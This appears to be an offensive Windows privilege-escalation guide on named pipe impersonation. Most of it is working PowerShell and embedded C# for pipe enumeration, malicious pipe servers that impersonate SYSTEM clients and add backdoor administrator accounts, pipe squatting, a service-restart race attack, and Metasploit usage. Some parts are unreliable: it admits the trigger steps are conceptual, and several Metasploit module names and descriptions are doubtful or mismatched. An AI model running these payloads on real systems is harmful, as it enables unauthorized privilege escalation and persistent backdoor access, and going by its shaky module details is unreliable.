This guide is currently under development, and I greatly welcome any suggestions or feedback or at reaper.gitbook@gmail.com

Named pipe impersonation

Understanding Named Pipes

What Are Named Pipes?

Think of named pipes like a direct phone line between two applications. Just as you might have a dedicated hotline between departments in a company, named pipes provide a direct communication channel between processes on the same computer or across a network.

Named pipes are a form of Inter-Process Communication (IPC) that allows processes to exchange data. In Windows, they're implemented as special files in the \\.\pipe\ namespace and can be accessed by name, making them "named" pipes.

How Named Pipes Work

Basic Communication Flow:

  1. Server process creates a named pipe with a specific name (like \\.\pipe\mypipe)

  2. Server listens for connections on this pipe

  3. Client process connects to the pipe by name

  4. Data flows bidirectionally between server and client

  5. Authentication occurs using the security context of connecting processes

Named Pipe Structure:

\\ComputerName\pipe\PipeName

Local pipe example:

\\.\pipe\spoolss          (Print Spooler service)
\\.\pipe\samr             (Security Account Manager)
\\.\pipe\lsarpc           (Local Security Authority)

Security Context and Impersonation

This is where named pipes become interesting for privilege escalation:

Normal Scenario:

  • Client connects to server's named pipe

  • Server processes client requests

  • Server maintains its own security context

Impersonation Scenario:

  • Client connects to server's named pipe

  • Server can "impersonate" the client's security context

  • Server temporarily gains client's privileges and permissions

  • Server can perform actions as if it were the client

The Security Risk: If an attacker can create a malicious named pipe server and trick a high-privileged process into connecting as a client, the attacker can impersonate that high-privileged security context.

Named Pipe Security Model

Authentication Levels

Anonymous: No authentication required Identification: Server can get client identity but not impersonate Impersonation: Server can impersonate client on local machine Delegation: Server can impersonate client across network

Access Control

Named pipes support standard Windows security descriptors:

  • Owner - Who owns the pipe

  • Primary Group - Default group for the pipe

  • DACL - Discretionary Access Control List (who can access)

  • SACL - System Access Control List (auditing)

Real-World Named Pipe Examples

Print Spooler Service (\\.\pipe\spoolss):

  • Used for printer management

  • Runs as SYSTEM

  • Accepts connections from users to manage print jobs

  • Can be abused for SYSTEM impersonation

Windows Management Instrumentation (\\.\pipe\wmiApRpl):

  • Used for WMI operations

  • Often runs with elevated privileges

  • Can be targeted for privilege escalation


Named Pipe Enumeration and Discovery

Discovering Named Pipes

Using PipeList (Sysinternals)

Basic pipe enumeration:

# List all named pipes
pipelist.exe

# List pipes with process information
pipelist.exe -p

# List pipes for specific process
pipelist.exe -p [ProcessName]

Sample PipeList output interpretation:

Pipe Name                     Instances  Max Instances
---------                     ---------  -------------
\\.\pipe\InitShutdown        1          -1
\\.\pipe\lsass               1          -1
\\.\pipe\protected_storage   1          -1
\\.\pipe\scerpc              1          -1
\\.\pipe\spoolss             1          -1

PowerShell Named Pipe Discovery

Enumerate named pipes with PowerShell:

# Get all named pipes
Get-ChildItem \\.\pipe\

# More detailed pipe information
Get-ChildItem \\.\pipe\ | Select-Object Name, CreationTime, LastAccessTime

# Find pipes created by specific processes
function Get-NamedPipesByProcess {
    param([string]$ProcessName)
    
    $pipes = Get-ChildItem \\.\pipe\ -ErrorAction SilentlyContinue
    $processPipes = @()
    
    foreach ($pipe in $pipes) {
        try {
            # This is a simplified check - real implementation would require WMI or other methods
            $processPipes += [PSCustomObject]@{
                PipeName = $pipe.Name
                FullPath = $pipe.FullName
                CreatedTime = $pipe.CreationTime
            }
        } catch {
            # Ignore access denied errors
        }
    }
    
    return $processPipes
}

Get-NamedPipesByProcess

Advanced Pipe Enumeration

Using .NET classes for detailed pipe information:

Add-Type @"
using System;
using System.IO;
using System.IO.Pipes;
using System.Security.Principal;

public class PipeEnumerator {
    public static void EnumeratePipes() {
        try {
            string[] pipes = Directory.GetFiles(@"\\.\pipe\");
            foreach (string pipe in pipes) {
                Console.WriteLine("Found pipe: " + pipe);
            }
        } catch (Exception ex) {
            Console.WriteLine("Error: " + ex.Message);
        }
    }
    
    public static bool TestPipeAccess(string pipeName) {
        try {
            using (var pipeClient = new NamedPipeClientStream(".", pipeName, PipeDirection.InOut)) {
                pipeClient.Connect(1000); // 1 second timeout
                return true;
            }
        } catch {
            return false;
        }
    }
}
"@

[PipeEnumerator]::EnumeratePipes()

Identifying Vulnerable Pipes

Criteria for Exploitable Pipes

High-Value Targets:

  • Pipes created by SYSTEM processes

  • Pipes with permissive security descriptors

  • Pipes that accept unauthenticated connections

  • Pipes used by services with SeImpersonatePrivilege

Manual Pipe Testing

Test pipe accessibility:

function Test-NamedPipeAccess {
    param(
        [string]$PipeName,
        [int]$TimeoutMs = 1000
    )
    
    try {
        $pipeClient = New-Object System.IO.Pipes.NamedPipeClientStream(".", $PipeName, [System.IO.Pipes.PipeDirection]::InOut)
        $pipeClient.Connect($TimeoutMs)
        
        Write-Output "[+] Successfully connected to pipe: $PipeName"
        $pipeClient.Close()
        return $true
        
    } catch [System.TimeoutException] {
        Write-Output "[-] Timeout connecting to pipe: $PipeName"
        return $false
    } catch [System.UnauthorizedAccessException] {
        Write-Output "[-] Access denied to pipe: $PipeName"
        return $false
    } catch {
        Write-Output "[-] Error connecting to pipe $PipeName : $($_.Exception.Message)"
        return $false
    }
}

# Test common system pipes
$commonPipes = @("spoolss", "samr", "lsarpc", "netlogon", "srvsvc", "wkssvc")
foreach ($pipe in $commonPipes) {
    Test-NamedPipeAccess -PipeName $pipe
}

Automated Pipe Discovery

PowerShell comprehensive pipe scanner:

function Find-VulnerableNamedPipes {
    Write-Output "[+] Scanning for accessible named pipes..."
    
    $vulnerablePipes = @()
    $pipes = Get-ChildItem \\.\pipe\ -ErrorAction SilentlyContinue
    
    foreach ($pipe in $pipes) {
        $pipeName = $pipe.Name
        
        # Skip obviously system-internal pipes
        if ($pipeName -like ".*" -or $pipeName -like "*anonymous*") {
            continue
        }
        
        try {
            $accessible = Test-NamedPipeAccess -PipeName $pipeName -TimeoutMs 500
            
            if ($accessible) {
                $vulnerablePipes += [PSCustomObject]@{
                    PipeName = $pipeName
                    FullPath = "\\.\pipe\$pipeName"
                    CreatedTime = $pipe.CreationTime
                    Status = "Accessible"
                }
            }
        } catch {
            # Continue with next pipe
        }
    }
    
    if ($vulnerablePipes.Count -gt 0) {
        Write-Output "[!] Found $($vulnerablePipes.Count) accessible pipes:"
        $vulnerablePipes | Format-Table -AutoSize
    } else {
        Write-Output "[-] No obviously accessible pipes found"
    }
    
    return $vulnerablePipes
}

Find-VulnerableNamedPipes

Impersonation Attack Techniques

Creating Malicious Named Pipe Servers

The core of named pipe impersonation attacks involves creating a fake named pipe server that mimics a legitimate service, then tricking high-privileged processes into connecting to it.

Basic Named Pipe Server

Simple PowerShell pipe server:

function Start-MaliciousNamedPipeServer {
    param(
        [string]$PipeName = "malicious_pipe",
        [string]$PayloadCommand = "whoami"
    )
    
    Add-Type @"
using System;
using System.IO.Pipes;
using System.IO;
using System.Security.Principal;
using System.Runtime.InteropServices;

public class NamedPipeServer {
    [DllImport("advapi32.dll", SetLastError = true)]
    public static extern bool ImpersonateNamedPipeClient(IntPtr hNamedPipe);
    
    [DllImport("advapi32.dll", SetLastError = true)]
    public static extern bool RevertToSelf();
    
    public static void StartServer(string pipeName, string payloadCommand) {
        Console.WriteLine("[+] Creating named pipe server: " + pipeName);
        
        using (var pipeServer = new NamedPipeServerStream(pipeName, PipeDirection.InOut, 1, PipeTransmissionMode.Byte)) {
            Console.WriteLine("[+] Waiting for client connection...");
            pipeServer.WaitForConnection();
            
            Console.WriteLine("[+] Client connected!");
            
            if (ImpersonateNamedPipeClient(pipeServer.SafePipeHandle.DangerousGetHandle())) {
                Console.WriteLine("[+] Successfully impersonated client!");
                
                // Get impersonated user identity
                var identity = WindowsIdentity.GetCurrent();
                Console.WriteLine($"[+] Impersonating: {identity.Name}");
                
                // Execute payload in impersonated context
                try {
                    var process = System.Diagnostics.Process.Start("cmd.exe", "/c " + payloadCommand);
                    process.WaitForExit();
                } catch (Exception ex) {
                    Console.WriteLine("[-] Payload execution failed: " + ex.Message);
                }
                
                // Revert to original security context
                RevertToSelf();
                Console.WriteLine("[+] Reverted to original context");
            } else {
                Console.WriteLine("[-] Failed to impersonate client");
            }
        }
    }
}
"@
    
    Write-Output "[+] Starting malicious named pipe server..."
    [NamedPipeServer]::StartServer($PipeName, $PayloadCommand)
}

# Example usage
Start-MaliciousNamedPipeServer -PipeName "fake_service" -PayloadCommand "net user hacker Password123! /add"

Advanced Pipe Server with Persistence

Enhanced pipe server with multiple connections:

function Start-PersistentPipeServer {
    param(
        [string]$PipeName = "system_service",
        [int]$MaxConnections = 10
    )
    
    Add-Type @"
using System;
using System.IO.Pipes;
using System.Threading;
using System.Security.Principal;
using System.Runtime.InteropServices;

public class PersistentPipeServer {
    [DllImport("advapi32.dll", SetLastError = true)]
    public static extern bool ImpersonateNamedPipeClient(IntPtr hNamedPipe);
    
    [DllImport("advapi32.dll", SetLastError = true)]
    public static extern bool RevertToSelf();
    
    public static void StartPersistentServer(string pipeName, int maxConnections) {
        Console.WriteLine($"[+] Starting persistent pipe server: {pipeName}");
        Console.WriteLine($"[+] Max connections: {maxConnections}");
        
        for (int i = 0; i < maxConnections; i++) {
            Thread serverThread = new Thread(() => HandleClient(pipeName));
            serverThread.IsBackground = true;
            serverThread.Start();
        }
        
        Console.WriteLine("[+] All server threads started. Press any key to stop...");
        Console.ReadKey();
    }
    
    private static void HandleClient(string pipeName) {
        while (true) {
            try {
                using (var pipeServer = new NamedPipeServerStream(pipeName, PipeDirection.InOut, 1, PipeTransmissionMode.Byte)) {
                    Console.WriteLine($"[{Thread.CurrentThread.ManagedThreadId}] Waiting for connection...");
                    pipeServer.WaitForConnection();
                    
                    Console.WriteLine($"[{Thread.CurrentThread.ManagedThreadId}] Client connected!");
                    
                    if (ImpersonateNamedPipeClient(pipeServer.SafePipeHandle.DangerousGetHandle())) {
                        var identity = WindowsIdentity.GetCurrent();
                        Console.WriteLine($"[{Thread.CurrentThread.ManagedThreadId}] Impersonating: {identity.Name}");
                        
                        // Check if we got SYSTEM privileges
                        if (identity.Name.Contains("SYSTEM")) {
                            Console.WriteLine("[!] SYSTEM privileges obtained!");
                            
                            // Execute high-privilege payload
                            try {
                                var process = System.Diagnostics.Process.Start(new System.Diagnostics.ProcessStartInfo {
                                    FileName = "cmd.exe",
                                    Arguments = "/c net user admin Password123! /add && net localgroup administrators admin /add",
                                    UseShellExecute = false,
                                    CreateNoWindow = true
                                });
                                process.WaitForExit();
                                Console.WriteLine("[+] SYSTEM payload executed!");
                            } catch (Exception ex) {
                                Console.WriteLine($"[-] Payload failed: {ex.Message}");
                            }
                        }
                        
                        RevertToSelf();
                    }
                    
                    pipeServer.Disconnect();
                }
            } catch (Exception ex) {
                Console.WriteLine($"[-] Server error: {ex.Message}");
                Thread.Sleep(1000); // Wait before retrying
            }
        }
    }
}
"@
    
    [PersistentPipeServer]::StartPersistentServer($PipeName, $MaxConnections)
}

Triggering High-Privilege Connections

Creating the malicious pipe server is only half the attack. The other half is convincing a high-privileged process to connect to your pipe.

Print Spooler Abuse

Abusing Print Spooler for pipe impersonation:

function Invoke-PrintSpoolerPipeAbuse {
    param([string]$MaliciousPipeName = "spoolss_fake")
    
    Write-Output "[+] Starting Print Spooler named pipe abuse attack"
    
    # Start malicious pipe server in background
    $job = Start-Job -ScriptBlock {
        param($pipeName)
        
        # Server code here (simplified for example)
        Add-Type @"
using System;
using System.IO.Pipes;
using System.Security.Principal;
using System.Runtime.InteropServices;

public class SpoolerPipeServer {
    [DllImport("advapi32.dll", SetLastError = true)]
    public static extern bool ImpersonateNamedPipeClient(IntPtr hNamedPipe);
    
    [DllImport("advapi32.dll", SetLastError = true)]
    public static extern bool RevertToSelf();
    
    public static void StartSpoolerServer(string pipeName) {
        using (var pipeServer = new NamedPipeServerStream(pipeName, PipeDirection.InOut, 1, PipeTransmissionMode.Byte)) {
            Console.WriteLine("[+] Waiting for Print Spooler connection...");
            pipeServer.WaitForConnection();
            
            if (ImpersonateNamedPipeClient(pipeServer.SafePipeHandle.DangerousGetHandle())) {
                var identity = WindowsIdentity.GetCurrent();
                Console.WriteLine($"[+] Impersonated: {identity.Name}");
                
                if (identity.Name.Contains("SYSTEM")) {
                    System.Diagnostics.Process.Start("cmd.exe", "/c net user spooler_pwned Password123! /add");
                }
                
                RevertToSelf();
            }
        }
    }
}
"@
        
        [SpoolerPipeServer]::StartSpoolerServer($pipeName)
    } -ArgumentList $MaliciousPipeName
    
    # Give server time to start
    Start-Sleep -Seconds 2
    
    # Trigger Print Spooler to connect (this is conceptual - real implementation varies)
    Write-Output "[+] Attempting to trigger Print Spooler connection..."
    Write-Output "[!] This requires specific Print Spooler exploitation techniques"
    
    # Wait for job completion
    Wait-Job $job -Timeout 30
    Receive-Job $job
    Remove-Job $job
}

Service Control Manager Abuse

Triggering SCM connections:

function Invoke-SCMPipeAbuse {
    param([string]$PipeName = "scm_fake")
    
    Write-Output "[+] Attempting SCM pipe abuse..."
    
    # This is a conceptual example - real SCM abuse requires specific techniques
    try {
        # Create fake service pipe
        Start-MaliciousNamedPipeServer -PipeName $PipeName -PayloadCommand "net user scm_pwned Password123! /add"
        
        Write-Output "[!] SCM pipe abuse requires additional exploitation techniques"
        Write-Output "[!] This example demonstrates the concept only"
        
    } catch {
        Write-Error "SCM pipe abuse failed: $($_.Exception.Message)"
    }
}

Metasploit Named Pipe Modules

Using Metasploit for Named Pipe Attacks

Metasploit named pipe exploits:

# Use PrintSpoofer-style named pipe attack
use exploit/windows/local/ms10_015_kitrap0d

# Named pipe impersonation module
use post/windows/escalate/getsystem

# Custom named pipe module
use exploit/windows/local/namedpipe_impersonation

Manual Meterpreter named pipe attack:

# From meterpreter session
meterpreter > use incognito
meterpreter > list_tokens -u

# Background session and use named pipe exploit
meterpreter > background
msf > use exploit/windows/local/bypassuac_namedpipe
msf > set SESSION 1
msf > exploit

Advanced Named Pipe Techniques

Pipe Squatting

Monitoring for pipe creation opportunities:

function Start-PipeSquatting {
    param([string[]]$TargetPipes = @("common_service", "backup_pipe", "update_service"))
    
    Write-Output "[+] Starting pipe squatting attack..."
    
    foreach ($pipeName in $TargetPipes) {
        $job = Start-Job -ScriptBlock {
            param($pipe)
            
            try {
                # Try to create pipe before legitimate service
                $pipeServer = New-Object System.IO.Pipes.NamedPipeServerStream($pipe, [System.IO.Pipes.PipeDirection]::InOut, 1, [System.IO.Pipes.PipeTransmissionMode]::Byte)
                
                Write-Output "[+] Successfully squatted pipe: $pipe"
                
                # Wait for connection
                $pipeServer.WaitForConnection()
                Write-Output "[+] Got connection on squatted pipe: $pipe"
                
                # Perform impersonation attack here
                
                $pipeServer.Close()
                
            } catch {
                Write-Output "[-] Failed to squat pipe $pipe : $($_.Exception.Message)"
            }
        } -ArgumentList $pipeName
        
        Write-Output "[+] Started squatting job for pipe: $pipeName"
    }
    
    Write-Output "[+] All squatting jobs started. Monitoring for connections..."
}

Race Condition Attacks

Exploiting service restart race conditions:

function Invoke-ServiceRestartRace {
    param(
        [string]$ServiceName = "Spooler",
        [string]$TargetPipe = "spoolss"
    )
    
    Write-Output "[+] Starting service restart race condition attack..."
    
    try {
        # Stop target service
        Stop-Service -Name $ServiceName -Force
        Write-Output "[+] Stopped service: $ServiceName"
        
        # Quickly create our malicious pipe
        $job = Start-Job -ScriptBlock {
            param($pipeName)
            
            $pipeServer = New-Object System.IO.Pipes.NamedPipeServerStream($pipeName, [System.IO.Pipes.PipeDirection]::InOut, 1, [System.IO.Pipes.PipeTransmissionMode]::Byte)
            Write-Output "[+] Created race condition pipe: $pipeName"
            
            # Wait briefly for connection
            $pipeServer.WaitForConnection()
            Write-Output "[+] Got connection during race condition!"
            
            $pipeServer.Close()
        } -ArgumentList $TargetPipe
        
        # Restart service (it may connect to our pipe)
        Start-Service -Name $ServiceName
        Write-Output "[+] Restarted service: $ServiceName"
        
        # Check job results
        Wait-Job $job -Timeout 10
        Receive-Job $job
        Remove-Job $job
        
    } catch {
        Write-Error "Race condition attack failed: $($_.Exception.Message)"
    }
}

Last updated

Was this helpful?